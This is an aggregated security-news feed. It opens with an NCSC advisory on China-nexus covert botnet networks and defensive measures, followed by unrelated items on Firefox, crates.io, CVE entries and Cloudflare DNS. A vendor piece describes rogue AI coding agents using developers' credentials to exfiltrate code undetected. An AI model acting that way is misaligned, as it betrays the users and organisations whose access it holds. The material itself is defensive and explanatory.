Anyone who is a target of China-nexus cyber actors may be impacted by the use of covert networks. They have been used by Chinese state-sponsored actors Volt Typhoon to pre-position offensive cyber capabilities on critical national infrastructure. The group Flax Typhoon used a different covert network of compromised infrastructure to conduct cyber espionage. 

The use of covert networks of compromised devices - also known as botnets - to facilitate malicious cyber activity is not new, but China-nexus cyber actors are now using them strategically, and at scale.  

This advisory describes the typical makeup of a covert network and what they are being used for. It also includes protective advice for organizations being targeted by cyber activity using a covert network as an access vector.

Covert Networks 

Covert networks are used to connect across the internet in a low-cost, low-risk, deniable way, disguising the origin and attribution of malicious activity. Actors have been observed using them for each phase of their Cyber Kill Chains, from performing scans as part of reconnaissance, to the delivery of malware, communicating with said malware, and exfiltrating stolen data from a victim. They can also be used for general deniable internet browsing, allowing threat actors to research exploitation techniques, new TTPs, and their victims without attribution. Some covert networks are also used by legitimate customers to browse the internet, making it challenging to attribute malicious activity. 

There is evidence that covert networks used by China-nexus actors are created and maintained by Chinese information security companies. A network known to network defenders as Raptor Train, which in 2024 infected more than 200,000 devices worldwide, was controlled and managed by the Chinese company, Integrity Technology Group. This company was also assessed by the FBI to be responsible for the computer intrusion activities attributed to China-based hackers known as Flax Typhoon. 

Botnet operations represent a significant threat to the UK by exploiting vulnerabilities in everyday internet-connected devices with the potential to carry out large-scale cyber attacks – NCSC Director of Operations, Paul Chichester 

Covert networks mostly consist of compromised SOHO routers, but they also pull in any vulnerable device they can exploit at scale. Raptor Train was made up of thousands of SOHO routers and IoT devices, such as web cameras and video recorders, as well as firewalls and Network Attached Storage (NAS) devices. The KV Botnet used by Volt Typhoon was mainly made up of vulnerable Cisco and NetGear routers. The edge devices were vulnerable because they were “end of life” – out of date and no longer receiving updates or security patches by their manufacturers. 

The cyber security industry has been aware of examples of these networks for some time and has publicly reported on the widespread scale of the threat and its implications. Mandiant Intelligence produced a public blog in May 2024 talking about covert networks in which they highlighted a key issue for defenders – indicator of compromise (IOC) Extinction. If a particular threat group could now come from one of many covert networks, each with potentially hundreds of thousands of endpoints, and each used by multiple threat actors, old network defense paradigms of static malicious IP block lists will be less effective. This is compounded by the dynamic nature of these networks where new nodes will be added as old devices are patched or removed from use. 

Typical Network Topology

The number of covert networks used by China-nexus cyber actors is large, with new networks regularly developed and deployed. The existing covert networks change too, either because of defensive or legal action, or simply as a result of software updates and new exploits being used to target different technologies for incorporation into the network. 

Because of this, a description of all known covert networks in detail, including how they are constructed and how they communicate, would immediately be out of date – and for most network defenders would not be practically useful. 

However, most covert networks of compromised devices use the same basic set up. Understanding this generalized structure can aid researchers and defenders by helping them to understand which part of a network they may have found, and how to defend against it. 

A diagram illustrating the basic setup of a covert network.
A diagram illustrating the basic setup of a covert network.

The diagram above illustrates the basic setup of a covert network, where typically an actor will connect to the network via an on-ramp or entry node. Their traffic will be forwarded through multiple compromised devices, used as traversal nodes, before exiting the network from an exit node, usually in the same geographic region as the target. 

Protective Advice 

Defending from attackers using covert networks is not straightforward, and defensive tactics will be different based on the levels of resource and the nature of the target organization. General advice for good cyber security practice should be followed, and some key messages can be found in the appendix of this advisory.  

The following advice is specifically tailored to steps which can be taken to combat the risk of attacks coming from large, dynamic networks of compromised devices. 

Further guidance for all organizations facing cyber security threats is available on the NCSC website. 

This guidance should be considered alongside all applicable laws and regulations of the UK and co-sealing countries relating to the security of networks and data. It will be each organization’s responsibility to ensure compliance with any such laws and regulations. Organizations should note that following the recommended actions set out below will not remove all risks.

All organizations

The NCSC recommends the following steps for all affected organizations to either take themselves, or ask their managed service and/or security providers to investigate for them: 

  • Map and understand network edge devices, developing a clear understanding of organizational assets and what should be connecting to them.
  • Baseline normal connections, especially to corporate virtual private networks (VPNs) or other similar services.
    • Would you expect connections from consumer broadband ranges?
  • Leverage available dynamic threat feeds which include covert network infrastructure.
  • Implement multifactor authentication for remote connections.

Smaller organizations should consider creating and actioning a free NCSC Cyber Action Toolkit. 

Larger or more at-risk organizations

Some more comprehensive measures may be appropriate if the risk to an organization is high enough, to be conducted either in-house or through a security provider:  

  • Apply IP address allow lists rather than deny lists for connections to corporate VPNs for remote workers.
  • Use geographic allow lists or profile incoming connections based on operating system, time zones, and/or organization specific system configuration settings.
  • Implement zero trust policies for connections.
  • Enforce machine certificates for Secure Sockets Layer (SSL) connections.
  • Reduce the internet-facing presence of the IT estate.
  • Investigate machine learning techniques to profile normal network edge activity to detect and block anomalies. 

The NCSC's Cyber Essentials can help protect organizations of all sizes. 

Largest or most at-risk organizations 

If Advanced Persistent Threat (APT) tracking is part of an organization’s in-house capability, or if it is part of the service provided by a security vendor, consider tracking China-nexus covert networks as APTs in their own right.

  • Active hunting – look for connections from IP addresses likely to be part of a covert network of compromised devices, for instance those hosting SOHO routers or IoT devices.
  • Track and map covert networks reported by industry or government by looking at banners and certificates.
  • Use threat reporting and threat feeds to create and implement dynamic blocklists and create alert rules to detect incoming threats.
  • Consider using NetFlow feeds to look upstream and map covert networks to find new nodes. 

The NCSC Cyber Assessment Framework provides guidance for organizations under the highest levels of threat, including those operating essential services, in sectors such as energy, healthcare, transport, digital infrastructure and government.  

MITRE ATT&CKŸ 

This advisory has been compiled with respect to the MITRE ATT&CKŸ framework, a globally accessible knowledge base of adversary tactics and techniques based on real-world observations. 

Tactic 

ID 

Technique 

Procedure 

Resource Development 

T1584.005 

Compromise Infrastructure: Botnet 

Botnets are used as core components of covert networks 

Resource Development 

T1584.008 

Compromise Infrastructure: Network Devices 

Devices are compromised and added to botnets 

Resource Development 

T1583.003 

Acquire Infrastructure: Virtual Private Server 

Virtual private servers (VPS) are used in covert networks, typically as on-ramps 

Command and Control 

T1090.003 

Proxy: Multi-hop Proxy 

Used by China-nexus cyber actors to route traffic 

 Appendix: Cyber Security Best Practices 

In addition to the protective advice outlined in this advisory, a number of cyber security best practices will also be useful in defending against the activity described in this advisory. 

Disclaimer  

This report draws on information derived from NCSC and industry sources. Any NCSC findings and recommendations made have not been provided with the intention of avoiding all risks and following the recommendations will not remove all such risk. Ownership of information risks remains with the relevant system owner at all times. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by co-sealers. UK readers should refer to the NCSC website for information about NCSC assured services. 

This information is exempt under the Freedom of Information Act 2000 (FOIA) and may be exempt under other UK information legislation.  

Refer any FOIA queries to ncscinfoleg@ncsc.gov.uk.  

All material is UK Crown Copyright © 

]]> <![CDATA[Matrix Live S12E11 – Relay, a brand new and polished macOS client]]> https://tsecurity.de/de/3693335/videos/matrix-live-s12e11-relay-a-brand-new-and-polished-macos-client/ https://tsecurity.de/de/3693335/videos/matrix-live-s12e11-relay-a-brand-new-and-polished-macos-client/ Sat, 25 Jul 2026 08:42:14 +0200 đŸŽ„ Videos tsecurity.de Author: Matrixdotorg - Bewertung: 17x - Views:505

Relay is a macOS native Matrix client, written in Swift, and it looks an awful lot like a Matrix-powered iMessage!

Relay room: https://matrix.to/#/#relayapp:matrix.org
Relay repo: https://github.com/subpop/Relay/

This Week in Matrix: https://matrix.org/twim

Find Matrix.org on the internet:
🐘 https://mastodon.matrix.org/@matrix
đŸ€ https://www.linkedin.com/company/matrix-org
🩋 https://bsky.app/profile/matrix.org
[m] Office of the Matrix Foundation https://matrix.to/#/%23foundation-office:matrix.org

]]> <![CDATA[Firefox Nightly: Backup for a Rainy Day – These Weeks in Firefox: Issue 202]]> https://tsecurity.de/de/3693295/tools/firefox-nightly-backup-for-a-rainy-day-these-weeks-in-firefox-issue-202/ https://tsecurity.de/de/3693295/tools/firefox-nightly-backup-for-a-rainy-day-these-weeks-in-firefox-issue-202/ Sat, 25 Jul 2026 08:37:35 +0200 đŸ’Ÿ Tools tsecurity.de Highlights
  • The profile backup mechanism has been enabled by default for all desktop platforms in Nightly, as well as Beta! The current plan is to have this ride out to Firefox 151 for Windows, macOS and Linux on May 18th!
    • This feature, when enabled, will create a copy of your profile data in the background and store it in a single file on your file system that you can restore from.
    • You will be able to manage this feature in Settings under Sync (for now)
      • Firefox settings page showing the Backup feature in dark mode. Backup is enabled, with details of the most recent backup and a “Backup now” button. The page displays the backup file name and a backup location folder path, along with “Choose
” and “Show in folder” buttons. A “Sensitive data” section includes an option to back up passwords and payment methods with encryption, and a disabled “Change password” button.
    • You can read more about the feature here
  • As followups to the recent addition to the WebExtension tabs API to support the new SplitView tabs feature, tabs.group() and tabs.ungroup() have been fixed to work correctly with split view tabs, and fixed split views being prepended instead of appended to tab groups when adopted into a new window – Bug 2029099 / Bug 2029534
  • Adaptive autofill has been enabled on Nightly.
    • Previously, autofill only completed domains (e.g. typing red autofilled reddit.com). Now it can also complete full URLs for pages you visit often (e.g. red → reddit.com/r/firefox), learning from what you actually click in the address bar. If a suggestion isn’t helpful, you can now dismiss it so autofill learns what not to show you too.
  • Markus Stange [:mstange] implemented dynamic toolbar on top in RDM (#1978145), but also implemented some static skeleton UI so it’s closer to what we actually have in Firefox for Android
    • dynamic toolbar is behind a pref: devtools.responsive.dynamicToolbar.enabled
    • it can be put on top by setting devtools.responsive.dynamicToolbar.onTop, otherwise it’s at the bottom
    • Firefox Responsive Design Mode on Desktop displaying the Mozilla homepage in a mobile viewport. The toolbar at the top shows a simulated Android device (including the dynamic toolbar) with a viewport size of 376 × 464 pixels and a device pixel ratio of 3. The page content is shown in French, featuring the Mozilla logo, a “Menu” link, a “Pause animation” button, and the headline “Bienvenue chez Mozilla” with accompanying text about trusted technology and digital rights.

Friends of the Firefox team

Resolved bugs (excluding employees)

Script to find new contributors from bug list

Volunteers that fixed more than one bug

  • Amin Amir
  • aoia7rz7l
  • Chukwuka Rosemary
  • DrSeed
  • FrĂ©dĂ©ric Wang NĂ©lar
  • japandi
  • John Iweh
  • jonathancabera
  • Josh Aas
  • Keji Bakare
  • kofoworola shonuyi
  • konyhĂ©a
  • liz
  • Mathew Hodson
  • Okhuomon Ajayi
  • Oluwatobi
  • ROSHAAN
  • Sam Johnson

New contributors (🌟 = first patch)

 

Project Updates

Add-ons / Web Extensions

Addon Manager & about:addons
  • In preparation for the Project Nova restyling of the about:addons page, we have refactored about:addons into separate per-component ES modules, splitting the monolithic aboutaddons.js and aboutaddons.html into 16 dedicated component files under components/ (with no behavior or UI changes) – Bug 2032014
    • NOTE: if you have working on patches with changes to about:addons internals it is very likely you’ll need to rebase and solve merge conflicts hit on top of this refactoring, the internals are still largely the same as before but don’t hesitate to reach out to the Addons team if you have doubts / questions or need help to figure out how to adapt your patch of top of these changes
WebExtensions Framework
  • Fixed exportFunction to preserve the constructibility of the wrapped function instead of unconditionally making all exported functions implicitly as constructors – Bug 2033173
    • Thanks to Gregory Pappas for contributing this improvement to the Content Scripts’ Xray Wrappers helpers!
  • Fixed a Firefox 151 regression where extension content scripts accessing location.ancestorOrigins caused subsequent page script reads of the same property to fail with “Permission denied”, breaking sites like Gmail – Bug 2034329
    • Thanks to Simon Farre for promptly investigating and fixing this recent regression!
WebExtension APIs
  • Updated sessions.getRecentlyClosed() to remove the hardcoded cap when maxResults is omitted – Bug 1392125
    • Shoutout to Amine Zroual for contributing this enhancement to the sessions WebExtensions API!

DevTools

Fluent

  • We’re now at over 72% of our strings being Fluent! Got a component still using .properties? Convert when you can!
  • Stacked area chart titled “Are We Fluent Yet?” showing the number and type of localization strings available in Firefox from 2018 to 2026. The chart tracks Fluent strings (green), Properties strings (blue), DTD strings (pink), and a small number of INI strings. Over time, Fluent strings steadily increase while DTD and Properties strings decline. A tooltip at April 26, 2026 shows 10,372 Fluent strings, 3,997 Properties strings, and no remaining DTD or INC strings, illustrating Firefox’s ongoing migration to the Fluent localization system.

Migration Improvements

New Tab Page

Search and Urlbar

  • Marco has fixed a couple of issues with the places databases to try and improve stability. This should help with avoiding users losing bookmarks or favicons.
  • Work continues on the new separate search bar to improve the functionality, e.g. allowing middle click to perform a search in a new tab, avoiding performing a search when adding a search engine.
  • Work also continues on the new Nova layouts.

Smart Window

  • uplifted 10 bugs to 150.0.1 dot release addressing initial user feedback from diary study and Connect
    • jump to bottom of conversation 2028692
    • stop streaming button 2029204
    • back/forward navigation from assistant 2029229
    • dark mode for various chips 2024499
  • search engine switching from smart bar 2021973
  • Nova styling within smart window 2026794

Storybook/Reusable Components/Acorn Design System

UX Fundamentals

  • The error pages shown when a server sends back an invalid response header or an unsupported content encoding now display accurate, context-specific messages. The invalid response header page also gained a helpful list of next steps. – 2027209
  • In progress: The error page illustrations are being replaced with new artwork, and the system now supports per-illustration size configuration, giving each image the ability to define its own appropriate dimensions. – 2031837

Settings Redesign

]]> <![CDATA[The Rust Programming Language Blog: crates.io: development update]]> https://tsecurity.de/de/3693285/tools/the-rust-programming-language-blog-cratesio-development-update/ https://tsecurity.de/de/3693285/tools/the-rust-programming-language-blog-cratesio-development-update/ Sat, 25 Jul 2026 08:37:18 +0200 đŸ’Ÿ Tools tsecurity.de Another six months have passed since our last development update, and the crates.io team has been busy. Here's a summary of the most notable changes and improvements made to crates.io since then.

Source Code Viewer

Crate pages now have a "Code" tab that lets you browse the contents of published crate versions directly on crates.io. This shows you the exact files that cargo downloads when you add a crate as a dependency, which might differ from the linked repository. This makes it much easier to audit your dependencies, including files that never appear in the repository, like the normalized Cargo.toml files that cargo generates.

Source code viewer showing the "Code" tab of the serde crate

The viewer comes with a file tree sidebar with search functionality, syntax highlighting, and GitHub-style line selection, where clicking or dragging line numbers produces shareable #L10-L20 URLs.

Under the hood, the server now builds a zip file for every published version. Since the .crate files that cargo consumes are gzipped tarballs without random access support, a background job re-packs each of them into a seekable zip archive plus a JSON manifest describing the contained files. Both are served from our static CDN. The frontend then fetches only the manifest and loads each file on demand with an HTTP range request. Because of this architecture, browsing crate sources essentially adds no load on the crates.io API servers. Existing crate versions have been backfilled, so this works for old releases too.

The rendering library behind the code viewer is a diff renderer at heart, and that's no accident: a version-to-version diff viewer built on the same infrastructure is currently in the works. This will allow you to review exactly what changed between two published versions, right on crates.io. Stay tuned!

Untangling crates.io Accounts from GitHub

At the end of May, the crates.io team accepted RFC #3946. Crates.io accounts always have been tightly coupled to GitHub: signing in means "Log in with GitHub", and your crates.io identity is your GitHub username. The RFC changes that. It introduces usernames that are native to crates.io and independent of linked GitHub accounts, as a prerequisite for eventually supporting login via other identity providers.

The implementation of crates.io usernames has started, but there is still a lot left to do, most visibly the ability to change your crates.io username. After that is complete, there will be future RFCs and implementation for signing in with identity providers other than GitHub. Since all of this touches authentication and account security, we are deliberately taking it slow and rolling these changes out in small, carefully reviewed steps.

Advisories and Suggestions

In our January update we introduced the "Security" tab, which shows security advisories from the RustSec database. We have since taken this integration one step further: crates that RustSec has flagged as unmaintained now show a warning banner directly on their crate pages, linking to the corresponding advisory for details and possible alternatives. Thanks to Dirkjan Ochtman for implementing this feature!

Unmaintained warning banner on the ansi_term crate page

Related to this, some popular crates have been largely absorbed into the Rust standard library over the years, like lazy_static, which has been superseded by std::sync::LazyLock since Rust 1.80. Crate pages of such crates now show a friendly "You might not need this dependency" banner describing the standard library replacement, and superseded crates in dependency lists get a small light bulb icon with a similar hint.

"You might not need this dependency" banner on the lazy_static crate page

The dataset behind this feature lives in the new rust-lang/std-replacement-data repository, together with a documented inclusion policy: standard library replacements only, every entry must cite the stable std, core, or alloc API and Rust version, and crate maintainers get a notice-and-comment window before an entry is added. New entries can be proposed upstream and can benefit other tools too.

Ferris

The most delightful change of this cycle: the Ferris on our error pages now follows your mouse cursor with its eyes:

Ferris' eyes following the mouse cursor on the error page

Getting a 404 error on crates.io is now slightly less sad.

Svelte Frontend Migration Completed

In our January update, we announced that we were experimenting with porting the crates.io frontend from Ember.js to Svelte. This experiment has concluded successfully: the new frontend reached feature parity, went through a public testing phase in April, became the default at the beginning of May, and the Ember.js app has been removed from our repository.

We designed this change to be invisible for our users, since the new frontend is a 1:1 port of the previous design and functionality. For the team and our contributors, however, it is a big deal: the frontend is now built on a more modern framework, which should make it easier for new contributors to get started. It also allows us to iterate faster, as the source code viewer above demonstrates.

We want to thank the Ember.js team for a framework that served crates.io well for many years, and the Svelte team for making the transition so enjoyable.

Miscellaneous

These were some of the more visible changes to crates.io over the past six months, but a lot has happened "under the hood" as well:

  • Search performance: Relevance-sorted search queries previously ranked every crate matching the query, which could take 1-2 seconds for short or common search terms. Ranking is now bounded to the 1,000 matching crates with the highest recent download counts.

  • Reverse dependencies performance: The reverse dependencies endpoint no longer recomputes the full dependent set on every request. It is now served from a precomputed table kept in sync by database triggers, turning an expensive join into a bounded index scan and greatly reducing the chance of getting a timeout error.

  • New ARCHITECTURE.md: If you've ever wondered how crates.io actually works, our ARCHITECTURE.md document got a complete rewrite. It is now organized around the high-level systems that make up crates.io and how they fit together, and includes walkthroughs of what happens when you run cargo publish, why a typical crate download never touches our API servers, and how download counts are derived from CDN access logs.

  • Definition lists: READMEs now render Markdown definition lists, a widely used Markdown extension. Our markdown renderer comrak already supported them, the extension just wasn't enabled yet. Thanks to @mistaste for this contribution!

  • CDN cache tags: Files uploaded to our static CDN now carry cache-tag metadata, allowing us to invalidate all cached files of a crate or a specific release in a single operation, instead of issuing one invalidation per file URL.

  • Caching improvements: We removed a global Vary: Cookie response header that was preventing our CDNs from caching public API responses and frontend assets effectively. Per-user responses now use Cache-Control: no-store instead, resulting in better cache hit rates at the CDN edge.

  • Accessibility: We have made crates.io friendlier to screen readers: decorative icons are now hidden from the accessibility tree, heading hierarchies have been fixed, and lists are marked up as proper lists. ARIA snapshot tests now ensure that regressions can't slip in unnoticed. We plan to continue to improve crates.io accessibility over the coming months.

  • Git index performance: The background worker's local clone of the git index is now a bare and shallow repository, eliminating roughly 250,000 checked-out files and the full commit history from its disk, improving its performance as we see increased rates of crate publication. The periodic index squashing now goes through the GitHub API instead of generating large git packs locally, which had previously caused out-of-memory failures on the production worker.

Feedback

We hope you enjoyed this update on the development of crates.io. If you have any feedback or questions, please let us know on Zulip or GitHub. We are always happy to hear from you and are looking forward to your feedback!

]]> <![CDATA[Windows-10-Ende: Linux-Anbieter jubelt ĂŒber Rekord-Downloads]]> https://tsecurity.de/de/3693194/it-nachrichten/windows-10-ende-linux-anbieter-jubelt-ueber-rekord-downloads/ https://tsecurity.de/de/3693194/it-nachrichten/windows-10-ende-linux-anbieter-jubelt-ueber-rekord-downloads/ Sat, 25 Jul 2026 08:23:22 +0200 📰 IT Nachrichten tsecurity.de Gaming, Linux, Controller, Videospiele, zocken, PinguinDer Umstieg von Windows auf Linux gilt unter vielen Nutzern noch immer als großer Schritt. Immer mehr Anwender sind aufgrund des Windows-10-Endes inzwischen aber zu diesem bereit, da die Alter­native wohl im Kauf neuer Hardware bestehen wĂŒrde. (Weiter lesen)]]> <![CDATA[CVE-2022-40304 | Oracle Communications Cloud Native Core Network Slice Selection Function Oracle Linux xml external entity reference (EUVD-2022-43601 / Nessus ID 211168)]]> https://tsecurity.de/de/3692858/sicherheitsluecken/cve-2022-40304-oracle-communications-cloud-native-core-network-slice-selection-function-oracle-linux-xml-external-entity-reference-euvd-2022-43601-nessus-id-211168/ https://tsecurity.de/de/3692858/sicherheitsluecken/cve-2022-40304-oracle-communications-cloud-native-core-network-slice-selection-function-oracle-linux-xml-external-entity-reference-euvd-2022-43601-nessus-id-211168/ Sat, 25 Jul 2026 03:55:39 +0200 đŸ•”ïž SicherheitslĂŒcken tsecurity.de Oracle Communications Cloud Native Core Network Slice Selection Function 22.3.1/22.4.1 and classified as critical. The impacted element is an unknown function of the component Oracle Linux. This manipulation causes xml external entity reference. The identification of this vulnerability is CVE-2022-40304. The attack can only be executed locally. There is no exploit available. It is recommended to apply a patch to fix this issue.]]> <![CDATA[CVE-2022-40304 | Oracle Communications Cloud Native Core Binding Support Function Install/Upgrade xml external entity reference (EUVD-2022-43601 / Nessus ID 211168)]]> https://tsecurity.de/de/3692856/sicherheitsluecken/cve-2022-40304-oracle-communications-cloud-native-core-binding-support-function-installupgrade-xml-external-entity-reference-euvd-2022-43601-nessus-id-211168/ https://tsecurity.de/de/3692856/sicherheitsluecken/cve-2022-40304-oracle-communications-cloud-native-core-binding-support-function-installupgrade-xml-external-entity-reference-euvd-2022-43601-nessus-id-211168/ Sat, 25 Jul 2026 03:55:36 +0200 đŸ•”ïž SicherheitslĂŒcken tsecurity.de Oracle Communications Cloud Native Core Binding Support Function up to 22.4.4/23.1.1. It has been declared as critical. The affected element is an unknown function of the component Install/Upgrade. The manipulation results in xml external entity reference. This vulnerability is identified as CVE-2022-40304. The attack is only possible with local access. There is not any exploit available. A patch should be applied to remediate this issue.]]> <![CDATA[CVE-2022-40304 | Oracle Communications Cloud Native Core Network Function Cloud Native Environment Configuration xml external entity reference (EUVD-2022-43601 / Nessus ID 211168)]]> https://tsecurity.de/de/3692855/sicherheitsluecken/cve-2022-40304-oracle-communications-cloud-native-core-network-function-cloud-native-environment-configuration-xml-external-entity-reference-euvd-2022-43601-nessus-id-211168/ https://tsecurity.de/de/3692855/sicherheitsluecken/cve-2022-40304-oracle-communications-cloud-native-core-network-function-cloud-native-environment-configuration-xml-external-entity-reference-euvd-2022-43601-nessus-id-211168/ Sat, 25 Jul 2026 03:55:35 +0200 đŸ•”ïž SicherheitslĂŒcken tsecurity.de Oracle Communications Cloud Native Core Network Function Cloud Native Environment 22.4.0. It has been rated as critical. The impacted element is an unknown function of the component Configuration. This manipulation causes xml external entity reference. This vulnerability is tracked as CVE-2022-40304. The attack is restricted to local execution. No exploit exists. To fix this issue, it is recommended to deploy a patch.]]> <![CDATA[5 endpoint blind spots your EDR/XDR was never built to see]]> https://tsecurity.de/de/3692679/it-nachrichten/5-endpoint-blind-spots-your-edrxdr-was-never-built-to-see/ https://tsecurity.de/de/3692679/it-nachrichten/5-endpoint-blind-spots-your-edrxdr-was-never-built-to-see/ Sat, 25 Jul 2026 00:18:11 +0200 📰 IT Nachrichten tsecurity.de

In August 2025, 126 malicious packages landed in the npm registry. Even after the community caught the initial wave, 80 of these hidden backdoors remained actively listed.

That was enough. Over 86,000 downloads. Malicious code in PhantomRaven, packages running in the production systems of Fortune 500 companies worldwide. And throughout the entire window, not a single EDR/XDR alert.

This happened because the attack surface has expanded to a layer EDR/XDR was never designed to see: VS Code extensions, local MCP servers, and rogue AI coding assistants that inherit your engineers’ valid credentials to steal data at machine speed.

To eliminate this structural vulnerability, Palo Alto Networks acquired Koi, an AI-native developer security product engineered for proactive, precision enforcement. Below we compiled a 2026 CISO checklist you can use to audit your environment and see how Koi automates each defense from day one.

#1. Gain real-time visibility into shadow AI & extensions

Your existing asset management tracks binaries and installers, but it cannot see local VS Code extensions, MCP servers, or ad-hoc Python scripts running on developer endpoints. This visibility gap was recently exposed by the MaliciousCorgi campaign, where two marketplace extensions with 1.5 million combined installs silently harvested every file a developer opened. Neither triggered any detection because they were not binaries, not executables, not anything your inventory was built to flag. To counter this, Koi closes the gap by analyzing what extensions actually do after installation, exposing hidden data-harvesting channels running inside your active workspace.

#2. Distinguish between human and autonomous agent behavior 

When a rogue AI agent exfiltrates your proprietary source code, it uses a developer’s valid credentials during normal working hours, making the session look entirely legitimate to standard XDR baselines. Moving beyond static permission lists, Koi deploys behavioral profiling within the workspace runtime. By actively intercepting unauthenticated background tasks and blocking unauthorized file-system reads, it stops automated data exfiltration in real time.

#3. Establish guardrails for automated package updates on endpoints

Developers prioritize speed, often allowing software packages to auto-update on their endpoints the moment a new version appears. Attackers weaponize this supply chain vulnerability, as seen in the May 2026 Team PCP attack where 3,800 GitHub repositories were compromised in just 36 minutes via poisoned auto-updates. Securing agentic endpoints against these rapid breaches requires behavior-based inspection within the active workspace context. Koi operates at this layer by providing safe deployment buffers that automate version cooldowns, blocking bleeding-edge updates until they are vetted. By continuously auditing process creation within the IDE runtime, Koi instantly drops unauthorized remote connections before malicious payloads can exfiltrate credentials from the endpoint.  

#4. Enforce principle of least privilege for AI agents

AI coding assistants inherit the privileges of whoever deployed them. In practice, that means read access to production databases, write access to core repositories, and access to every secret in environment files and configuration directories. To restrict this excessive access, Koi applies dynamic sandboxing directly to AI agent processes at the kernel level. It enforces a strict zero-trust boundary that segregates sensitive workspace vectors, preventing agents from pulling data outside their approved scope without interrupting developer workflows.

#5. Maintain continuous endpoint posture management

Signature-based scanning only stops known threats. Sophisticated repository attacks often arrive as functional, high-rated software that carries no known bad signature. Koi’s research into the DarkSpectre campaign found eight browser extensions, all carrying “featured” badges from Google and Microsoft, installed by over 8 million users, silently harvesting every conversation from ChatGPT, Claude, and Gemini in the background. Koi addresses this by operating upstream: scanning marketplace listings every hour, using LLM-driven code analysis to compare what software promises against what its code does, sandboxing it, and scoring the risk before it ever reaches the endpoint.

Summary

Securing the modern enterprise is no longer about patching individual gaps. As AI agents redefine the workforce, Agentic Endpoint Security (AES) is now a strategic imperative for every CISO. By establishing a mandatory control plane for the AI-native workspace, AES ensures that your organization can scale engineering velocity without ever compromising enterprise integrity. 

Ready to secure the future of your software stack? See how Koi Agentic Endpoint Security delivers complete visibility, risk scoring, and real-time prevention across every endpoint in your enterprise.

]]> <![CDATA[Where do you install software from? Standard repos, sources, Flatpak, AppImage, etc]]> https://tsecurity.de/de/3692668/linux-tipps/where-do-you-install-software-from-standard-repos-sources-flatpak-appimage-etc/ https://tsecurity.de/de/3692668/linux-tipps/where-do-you-install-software-from-standard-repos-sources-flatpak-appimage-etc/ Sat, 25 Jul 2026 00:11:41 +0200 🐧 Linux Tipps tsecurity.de

Do you install only flatpaks? Or only native RPM/DEB/etc? Maybe you're religios about it.

Or maybe you don't care and just use what's convenient, which happens to be... what channel usually for you?

Curious to know as a developer where this ship is moving recently

submitted by /u/oleg_antonyan
[link] [comments]]]> <![CDATA[Cloud Attacks Hide in Plain Sight]]> https://tsecurity.de/de/3692377/it-security-video/cloud-attacks-hide-in-plain-sight/ https://tsecurity.de/de/3692377/it-security-video/cloud-attacks-hide-in-plain-sight/ Fri, 24 Jul 2026 21:19:39 +0200 đŸŽ„ IT Security Video tsecurity.de Author: CrowdStrike - Bewertung: 1x - Views:2

Adversaries are abusing the cloud-native you trust to blend in and remain undetected.

See how Falcon Cloud Security detects adversary behavior in real time with Cloud Detection and Response (CDR).

🚀 Start your free 15-day Falcon Cloud Security trial: https://cs.link/urOUt

]]> <![CDATA[v4.0.11]]> https://tsecurity.de/de/3692365/downloads/v4011/ https://tsecurity.de/de/3692365/downloads/v4011/ Fri, 24 Jul 2026 21:17:36 +0200 đŸ’Ÿ Downloads tsecurity.de Added
  • Add Claude Opus 5 across the Anthropic, Claude Code, Bedrock, Vertex, Cline, and OpenRouter providers, including 1M context window variants.
  • Add Moonshot Kimi K3 support.
  • Include the host plugin version in telemetry events.

Fixed

  • Correct pricing for the Claude Opus 1M context variants, which overstated costs for requests above 200k tokens.
  • Enable native tool calling for Kimi K3 models, fixing empty responses.

Full Changelog: v4.0.10...v4.0.11

]]> <![CDATA[Cloudflare Internal DNS puts public and private DNS on one policy engine]]> https://tsecurity.de/de/3692009/it-security-nachrichten/cloudflare-internal-dns-puts-public-and-private-dns-on-one-policy-engine/ https://tsecurity.de/de/3692009/it-security-nachrichten/cloudflare-internal-dns-puts-public-and-private-dns-on-one-policy-engine/ Fri, 24 Jul 2026 18:18:13 +0200 📰 IT Security Nachrichten tsecurity.de

Enterprises typically operate separate systems for internal and external DNS because the two serve different audiences. Public DNS resolves names for services meant to be reached from the internet. Private DNS resolves internal resources, such as databases and internal applications, that should never be visible outside the corporate network. 

While public DNS is usually a single system, private DNS is often scattered across on-premises appliances, cloud-native resolvers, and split-horizon setups, where the same hostname resolves to a different answer depending on whether the query comes from inside or outside the network. Coordinating those deployments across headquarters, branch offices, and multiple clouds means ongoing manual synchronization work for network teams. 

Private DNS itself is not a new concept. It is already available from hyperscalers and established enterprise DNS vendors, but it typically runs apart from public DNS, with its own console, control plane and policy engine.

Cloudflare’s answer is a product it calls Internal DNS.

“Many organizations already use Cloudflare for their public DNS,” Enrique Somoza, product, performance and infrastructure at Cloudflare, told Network World. “Internal DNS extends that same platform to private DNS, so public and private are managed from the same global network and control plane.” 

How it works

Query handling starts at the resolver, not at the zone. That consolidation extends to daily operations as well.

“Instead of operating two separate DNS systems, customers use one API, one audit trail, one dashboard, and one policy engine for every DNS query—whether it is for a public website or an internal application,” Somoza said.

Policy first. The resolver sits ahead of every lookup, not behind it. “Architecturally, Cloudflare Gateway becomes the resolver that customers connect to, and can use WARP, DNS over HTTPS, DNS over TLS, or traditional DNS,” Somoza said. “Gateway evaluates zero -trust policies first, then routes the query to the appropriate DNS view based on context, such as source IP, device posture, or network location.”

No public path in. Internal zones sit outside the public DNS hierarchy entirely. “Internal zones are never assigned public nameservers—they are only reachable through Gateway, so every query is evaluated before it is resolved,” Somoza said.

One hostname, multiple answers. Branch offices, data centers and cloud environments no longer each need their own resolver stack. “Operationally, this simplifies environments that span branch offices, data centers, and multiple clouds,” Somoza said. “The same internal hostname can return different answers depending on where the request originated without maintaining separate resolver infrastructure, conditional forwarders, or duplicate zone files.”

Somoza described the underlying objective in direct terms: “The goal is to make internal DNS behave like a single service instead of a collection of independent deployments,” he said.

View selection. The same hostname can resolve to different IP addresses depending on where the request comes from. Gateway makes that call using several client signals. 

“View selection is policy driven,” Somoza said. “Gateway resolver policies evaluate the context of each DNS query, including attributes like source IP, device identity, or network location and determine which DNS view should answer the request.”

A view is a container, not a separate infrastructure stack. Somoza explained that a view is simply a logical grouping of internal zones. For example, a company could have separate views for Europe and North America, or for corporate users and operational technology networks.

Latency and resilience. Internal DNS inherits its performance characteristics from Cloudflare’s existing public network. “Internal DNS runs on Cloudflare’s global network, so queries are answered by the nearest available Gateway location, helping keep latency low for connected users,” Somoza said. “Because Internal DNS runs on the same global infrastructure as Cloudflare’s public DNS, it benefits from the same anycast architecture, geographic distribution, and resilient network design.”

